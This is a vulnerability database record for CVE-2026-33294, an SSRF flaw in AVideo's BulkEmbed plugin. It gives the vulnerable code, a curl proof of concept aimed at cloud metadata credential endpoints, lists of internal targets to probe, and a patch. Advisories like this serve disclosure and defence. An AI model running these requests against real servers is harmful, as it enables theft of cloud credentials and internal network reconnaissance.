{"id":"CVE-2026-33294","aliases":["GHSA-66cw-h2mj-j39p"],"url":"https://o3.security/vulnerability/CVE-2026-33294","summary":"AVideo has SSRF in BulkEmbed Thumbnail Fetch that Allows Reading Internal Network Resources","details":"## Summary\n\nThe BulkEmbed plugin's save endpoint (`plugin/BulkEmbed/save.json.php`) fetches user-supplied thumbnail URLs via `url_get_contents()` without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with `isSSRFSafeURL()`, this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail.\n\n## Details\n\nWhen saving bulk-embedded videos, user-supplied thumbnail URLs from `$_POST['itemsToSave'][x]['thumbs']` flow directly into `url_get_contents()` with no SSRF validation:\n\n**`plugin/BulkEmbed/save.json.php:68-105`**\n```php\nforeach ($_POST['itemsToSave'] as $value) {\n    foreach ($value as $key => $value2) {\n        $value[$key] = xss_esc($value2);  // HTML entity encoding — irrelevant for SSRF\n    }\n    // ...\n    $poster = Video::getPathToFile(\"{$paths['filename']}.jpg\");\n    $thumbs = $value['thumbs'];              // ← attacker-controlled URL\n    if (!empty($thumbs)) {\n        $contentThumbs = url_get_contents($thumbs);  // ← fetched without SSRF check\n        if (!empty($contentThumbs)) {\n            make_path($poster);\n            $bytes = file_put_contents($poster, $contentThumbs);  // ← response saved to disk\n        }\n    }\n    // ...\n    $videos->setStatus('a');  // ← video set to active, thumbnail publicly accessible\n```\n\nThe `url_get_contents()` function internally calls `isValidURLOrPath()` which only validates URL format (scheme, host presence) — it does **not** block requests to private IPs, localhost, or cloud metadata endpoints.\n\n**All other URL-fetching endpoints are protected.** The `isSSRFSafeURL()` function is called in:\n- `plugin/Scheduler/Scheduler.php`\n- `plugin/LiveLinks/proxy.php` (two call sites)\n- `plugin/AI/receiveAsync.json.php`\n- `objects/aVideoEncoder.json.php`\n- `objects/aVideoEncoderReceiveImage.json.php`\n\nBulkEmbed is the only URL-fetching endpoint that was not hardened.\n\n**This is a full-read SSRF**, not blind — the HTTP response body is written to disk as the video thumbnail and served to the attacker when they view the video poster image.\n\n## PoC\n\n**Prerequisites:** Authenticated session with BulkEmbed permission. The `onlyAdminCanBulkEmbed` option defaults to `true` (line 41 of `BulkEmbed.php`), but is commonly disabled for multi-user platforms.\n\n**Step 1: Authenticate and obtain session cookie**\n\n```bash\nCOOKIE=$(curl -s -c - \"http://avideo.local/user\" \\\n  -d \"user=testuser&pass=testpass&redirectUri=/\" | grep PHPSESSID | awk '{print $NF}')\n```\n\n**Step 2: Send BulkEmbed save request with internal URL as thumbnail**\n\n```bash\ncurl -s -b \"PHPSESSID=$COOKIE\" \\\n  \"http://avideo.local/plugin/BulkEmbed/save.json.php\" \\\n  -d \"itemsToSave[0][title]=SSRF+Test\" \\\n  -d \"itemsToSave[0][description]=test\" \\\n  -d \"itemsToSave[0][duration]=PT1M\" \\\n  -d \"itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ\" \\\n  -d \"itemsToSave[0][thumbs]=http://169.254.169.254/latest/meta-data/iam/security-credentials/\" \\\n  -d \"itemsToSave[0][date]=\"\n```\n\n**Expected response:**\n\n```json\n{\"error\":false,\"msg\":[{\"video\":{...},\"value\":{...},\"videos_id\":123}],\"playListId\":0}\n```\n\n**Step 3: Retrieve the SSRF response from the saved thumbnail**\n\n```bash\n# Extract the filename from the response, then fetch the poster image\ncurl -s \"http://avideo.local/videos/{filename}.jpg\"\n```\n\nThe content of the internal HTTP response (e.g., AWS IAM role names from the metadata service) is returned as the image file content.\n\n**Cloud metadata example targets:**\n- `http://169.254.169.254/latest/meta-data/iam/security-credentials/` — AWS IAM role names\n- `http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}` — temporary AWS credentials\n- `http://metadata.google.internal/computeMetadata/v1/` — GCP metadata (requires header, may not work)\n- `http://169.254.169.254/metadata/instance?api-version=2021-02-01` — Azure instance metadata\n\n**Internal network scanning:**\n- `http://10.0.0.1:8080/` — probe internal services\n- `http://localhost:3306/` — probe local database ports\n\n## Impact\n\n- **Cloud credential theft:** On AWS/GCP/Azure-hosted instances, an attacker can retrieve cloud IAM credentials from the metadata service, potentially gaining access to cloud infrastructure (S3 buckets, databases, other services).\n- **Internal network reconnaissance:** Attacker can map internal network topology by probing private IP ranges and observing which requests return content vs. timeout.\n- **Internal service data exfiltration:** Any HTTP-accessible internal service (admin panels, monitoring dashboards, databases with HTTP interfaces) can have its responses exfiltrated through the thumbnail mechanism.\n- **Scope change:** The attack crosses security boundaries — from the web application into the internal network/cloud infrastructure, which is a different trust zone.\n\n## Recommended Fix\n\nAdd `isSSRFSafeURL()` validation before the `url_get_contents()` call in `plugin/BulkEmbed/save.json.php`, consistent with all other URL-fetching endpoints:\n\n```php\n    $thumbs = $value['thumbs'];\n    if (!empty($thumbs)) {\n        if (!isSSRFSafeURL($thumbs)) {\n            _error_log(\"BulkEmbed: SSRF protection blocked thumbnail URL: \" . $thumbs);\n            continue;\n        }\n        $contentThumbs = url_get_contents($thumbs);\n        if (!empty($contentThumbs)) {\n            make_path($poster);\n            $bytes = file_put_contents($poster, $contentThumbs);\n            _error_log(\"thumbs={$thumbs} poster=$poster bytes=$bytes strlen=\" . strlen($contentThumbs));\n        } else {\n            _error_log(\"ERROR thumbs={$thumbs} poster=$poster\");\n        }\n    }\n```","published":"2026-03-22T16:58:09.664Z","modified":"2026-10-28T02:31:10.985314798Z","cvss":{"score":5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/4589a3a089baf4ea439481f5088b38a8aa9c82b6","label":"WWBN/AVideo@4589a3a"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33294.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-66cw-h2mj-j39p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33294"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/4589a3a089baf4ea439481f5088b38a8aa9c82b6"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:31:10.985314798Z"}}